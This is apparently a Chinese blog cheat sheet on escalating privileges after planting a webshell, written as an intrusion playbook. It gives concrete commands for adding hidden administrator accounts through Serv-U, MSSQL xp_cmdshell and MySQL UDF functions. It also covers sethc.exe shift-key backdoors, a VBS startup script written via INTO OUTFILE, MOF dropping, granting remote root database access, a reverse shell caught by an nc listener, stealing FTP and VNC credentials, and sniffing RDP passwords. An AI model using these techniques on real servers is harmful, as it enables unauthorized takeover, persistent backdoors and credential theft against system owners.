webshell提权

提权

提权前奏

  • 提权:主要是针对网站入侵过程中,当入侵某一网站时,通过各种漏洞提升webshell权限以夺得服务器权限
  • 通常所处的权限: 
    • ASP/PHP 匿名权限
    • ASPX USER权限
    • JSP 通常是系统权限
  • 收集信息: 
    • 内外网
    • 服务器系统和版本位数
    • 服务器的补丁情况
    • 服务器的安装软件情况
    • 服务器的防护软件情况
    • 端口情况
    • 支持脚本情况
    • 。。。。。。
  • 信息收集常用命令 
    • windows:
    • ipconfig /all:查看当前ip
    • net user:查看当前服务器账号情况
    • netstat -ano:查看服务器端口开启情况
    • ver:查看当前服务器操作系统
    • systeminfo:查看当前服务器配置情况(补丁情况)
    • tasklist -PID pid号:结束某个pid号的进程
    • taskkill /im qq.exe /f:结束QQ进程
    • net user x 123123 /add:添加一个名为x密码为123123的用户
    • net localgroup administrators x /add:将用户x添加到管理员组
    • whoami:查看当前操作用户(当前权限)
    • linux:
    • ls -al:查看当前目录下的文件和文件夹
    • pwd:查看当前操作路径
    • uname -a:查看当前服务器内核信息
  • cmd无法执行 
    • 原因:
    • 防护软件拦截
    • cmd被降级
    • 组件被删除
    • 办法:找可读写目录上传cmd.exe,将执行的cmd.exe路径替换成上传的路径,再次调用执行
  • 查找3389端口 
    • 注册表读取
    • 工具扫描
    • 命令探针

第三方软件提权

server -u 提权

  • 有修改权限 
    • 检查是否有可写权限 修改server -u 默认安装目录下的ServUDaemon.ini
    • 增加用户
    • 连接
    • 执行命令:
    • quote site exec net user x 123123 /add
    • quote site exec net localgroup administrators x /add
  • 无修改权 
    • 暴力破解md5
  • 溢出提权

pcanywhere提权

  • 访问pcanywhere默认安装目录
  • 下载用户配置文件
  • 通过破解账户密码文件

Radmin提权

  • 通过端口扫描,扫面4899端口
  • 上传radmin.asp木马读取radmin的加密密文
  • 使用工具连接

VNC提权

  • 通过读取注册表十进制数
  • 将得出的十进制数去掉第一个数,其他的转换成十六进制数
  • 破解十六进制数得到密码
  • vnc4.exe -W 回车
  • 输入转换后的十六进制数
  • 连接VNC

g6ftp提权

  • 下载管理配置文件,将administrar管理密码破解
  • 使用lcx端口转发(默认只允许本机连接)
  • lcx.exe -tran 8027 127.0.0.1 8021
  • 使用客户端以管理员用户登录
  • 创建用户并设置权限和执行的批处理文件
  • 上传批处理
  • 以创建的普通用户登录ftp
  • 执行命令 quote site x.bat
  • x.bat 内容为添加系统用户,提权

破解hash提权

  • 上传pwdump.exe 运行获取hash值
  • 拿到lc5、彩虹表中破解,即可得到管理员密码

360本地提权(09年)

  • 上传cmd.exe和360.exe
  • 运行360.exe
  • 生成五次shift后门

flashfxp提权

  • 下载quick.dat文件
  • 覆盖替换到本地
  • 获取网站管理密码

FileZilla提权

  • filezilla是一款开源的FTP服务器和客户端的软件
  • 若安装了服务器端默认只侦听127.0.0.1的14147端口
  • 并且默认安装目录目录下有两个敏感文件filezillaserver.xml(包含了用户信息)和filezillaserver interface.xml(包含了管理信息)
  • 提权思路: 
    • 下载这两个文件拿到管理密码
    • 配置端口转发,登录远程管理ftpserve。创建ftp用户
    • 分配权限,设置家目录为C:\
    • 使用cmd.exe改名为sethc.exe,替换c:\windows\system32\sethc.exe生成shift后门
    • 连接3389按5次shift调出cmd.exe

搜狗输入法提权

  • 找到搜狗输入法安装目录,上传组件
  • 覆盖搜狗输入法调用的组件
  • 当管理员使用搜狗输入法时,组件被调用,账号创建完成

pr提权

  • 上传pr.exe
  • 运行
  • pr.exe “net user”

巴西烤肉提权

  • 与pr一样

启动项提权

  • 前提写入的目录需要写入权限
  • 将批处理文件上传到开机启动项目录,等待管理员重启

数据库提权

MSSQL提权

  • 步骤 
    • 安装组件
    • 开启3389
    • 创建用户
    • 提升权限
  • 安装cmd_shell组件 
    • EXEC sp_configure ‘show advance options’,1
    • GO
    • RECONFIGURE
    • GO
    • EXEC sp_configure ‘xp_cmdshell’,0
    • GO
    • RECONFIGURE
    • GO

MySQL数据库提权

UDF提权

  • 原理:通过root权限导出duf.dll到系统目录下,可以通过udf.dll调用执行cmd

  • 获取对方的mysql数据库下的root账号密码:

    • 查看网站源码里面的数据库配置文件(inc,conn,config,sql,common,data等)
    • 查看数据库安装路径下的user.myd(/data/mysql)
    • 暴力破解 mysql密码破解 3306端口入侵
  • 导出duf.dll

    • C:\Winnt\udf.dll 2000
    • C:\Windows\udf.dll 2003
    • 5.1以上版本需要导出到mysql安装目录lib\plugin\
    • create function cmdshell returns string soname ‘udf.dll’
    • select cmdshell(‘net user x 123123 /add’);
    • select cmdshell(‘net localgroup administrators x /add’);
    • drop function cmdshell; 删除函数

启动项提权

  • 拿到root权限

  • 查看数据库中有什么表 show tables;

  • 在TEST数据库中建立一个新表 create table a (cmd text);
  • 在表中插入内容: 
    • insert into a values ("set wshshell=createobject(""wscript.shell"")");
    • insert into a values ("a=wshshell.run (""cmd.exe /c net user 1 1 /add"",0)");
    • insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators 1 /add"",0)");
    • 这三条命令会建立一个VBS的脚本程序
  • 查看表a内容 ·select * from a
  • 表a中确定是插入的三条数据后,输出表为一个VBS的脚本文件 `select * from a into outfile “c://docume~1//administrator//开始菜单//程序//启动//a.vbs”;
  • 重启

MOF提权

  • 第一种方法: 
    • 上传mof.php。输入相关信息,执行命令,完成提权
  • 第二种方法: 
    • 上传文件x.mof
    • 使用select命令导出到正确位置 select load_file(C:/wmpub/nullevt.mof) into dumpfile "C:/windows/system32/wbem/mof/nullevt.mof";
    • 允许外部地址使用root用户连接的sql语句 grant all privileges on *.* to 'root'@'%' identified by 'kdm001' with grant option;

反弹端口提权

  • 利用mysql客户端工具连接mysql服务器。然后执行下面的操作: 
    • mysql.exe -h ip -uroot -p
    • enter password
    • mysql>\.c:\mysql.txt;
    • mysql>select backshell("IP",2010);
    • 本地监听你反弹的端口 nc.exe -vv -i -p 2010
    • 成功后,将获得一个system权限的cmdshell。

linux溢出提权

linux提权

  • uname -r 查看系统内核版本
  • 找到对应的内核版本的exp
  • 上传–>编译–>运行

3389

开启3389

  • 使用 
    • 批处理开3389
    • 使用sql语句开3389
    • 使用exe开3389
    • 使用VB开3389

嗅探3389和http登陆的密码

  • wireshark
  • cain

你可能感兴趣的:(web安全)